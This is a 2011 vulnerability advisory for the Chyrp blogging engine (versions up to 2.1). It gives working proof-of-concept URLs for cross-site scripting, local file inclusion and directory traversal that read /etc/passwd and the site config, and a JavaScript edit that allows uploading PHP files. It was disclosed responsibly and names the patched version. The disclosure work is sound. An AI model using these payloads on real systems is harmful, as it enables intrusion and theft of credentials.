--------------------------------------------------------------------------------------------
20110713 - Justanotherhacker.com : Chyrp - Multiple vulnerabilties
JAHx113 - http://www.justanotherhacker.com/advisories/JAHx113.txt
--------------------------------------------------------------------------------------------
Chyrp is a blogging engine designed to be very lightweight while retaining functionality. It
is powered by PHP and has very powerful theme and extension engines, so you can personalize
it however you want. The code is well-documented, and it has a very strong structure that's
loosely based on the MVC design pattern
[ Taken from: http://chyrp.net ]
--- Vulnerability description ---
The chyrp blogging engine was found to suffer from multiple vulnerabilities in multiple versions.
Discovered by: Eldar "Wireghoul" Marcussen
Type: Multiple
Severity: High
Release: Responsible, via oCERT
CVE: Not yet assigned
Vendor: chyrp.net
Affected versions: <= 2.1
--- Cross site scripting ---
The action parameter is not sufficiently filtered, escaped or encoded resulting in cross site scripting.
Exploit:
http://domain/path/admin/?action=[XSS]
http://domain/path/includes/javascript.php?action=[XSS]
PoC:
The javascript.php xss can also be invoked through rewrite rules using the following querystring -
http://domain/path/?%22%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E;url=blah
--- Cross site scripting ---
The title and body parameters are not initialized in the admin/help.php file resulting in cross site
scripting if register globals is on.
Exploit:
http://domain/path/admin/help.php?title=[XSS]&body=[XSS]
--- Local file inclusion ---
The action parameter is not sufficiently filtered and vulnerable to local file inclusion.
Exploit:
http://domain/path/?action=[LFI]
PoC:
http://domain/path/?action=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpassword%00
--- Directory traversal ---
The file parameter for includes/lib/gz.php is vulnerable to a directory traversal bug in Chyrp versions <=2.0.
This is due to a php gotcha when using the return value of strpos in an if statement as matches on position 0
will result in a false negative.
Exploit:
http://domain/path/includes/lib/gz.php?file=/themes/../../../../../../[PATH]
PoC:
http://domain/path/includes/lib/gz.php?file=/themes/../../../../../../../../../etc/passwd
http://domain/path/includes/lib/gz.php?file=/themes/../includes/config.yaml.php
--- Arbitrary file upload ---
Arbitrary file upload can be done by authorised users in Chyrp version <= 2.0 with the swfupload extension and
file upload feathers enabled. The uploaded file extension is restricted through javascript. Modify js in page
using firebug or via intercepting proxy to allow *.php upload. A direct POST to
http://domain/path/modules/swfupload/upload_handler.php can also be done, but changing js is far easier.
PoC:
Appended ;*.php in script for the add photo feather (http://domain/path/admin/?action=write_post&feather=photo) using intercepting proxy
<script type="text/javascript">
$(function(){
$("#photo").clone().attr("id", "photo_fake").addClass("swfupload_button").insertBefore("#photo")
photo = new SWFUpload({
upload_url : "http://localhost/chyrp_v2.0/modules/swfupload/upload_handler.php",
flash_url : "http://localhost/chyrp_v2.0/modules/swfupload/lib/swfupload.swf",
post_params: {"PHPSESSID" : "5o3bnghnijk4hlr7vnshi3vb76", "PHPSESSNAME" : "ChyrpSession", "ajax" : "true" },
file_size_limit : "100 MB",
file_types : "*.jpg;*.jpeg;*.png;*.gif;*.bmp;*.php", <-- #MODIFY!
file_types_description : "All Files",
file_queue_error_handler : fileQueueError,
file_dialog_complete_handler : fileDialogComplete,
upload_start_handler : uploadStart,
upload_progress_handler : uploadProgress,
upload_error_handler : uploadError,
upload_success_handler : uploadSuccess,
button_placeholder_id : "photo",
button_width : $("#photo_fake").width(),
button_height : $("#photo_fake").height(),
button_action : SWFUpload.BUTTON_ACTION.SELECT_FILES,
upload_complete_handler : uploadComplete
})
$("#SWFUpload_0")
.css({ position: "absolute", top: $("#photo_fake").offset().top, left: $("#photo_fake").offset().left })
.before('<div id="progress"><div class="back"><div class="fill"></div><div class="clear"></div></div></div>')
})
</script>
--- Solution ---
Upgrade to version 2.1.1
--- Disclosure time line ---
13-Jul-2011 - Public disclosure
17-May-2011 - Vendor notified
17-May-2011 - oCERT notified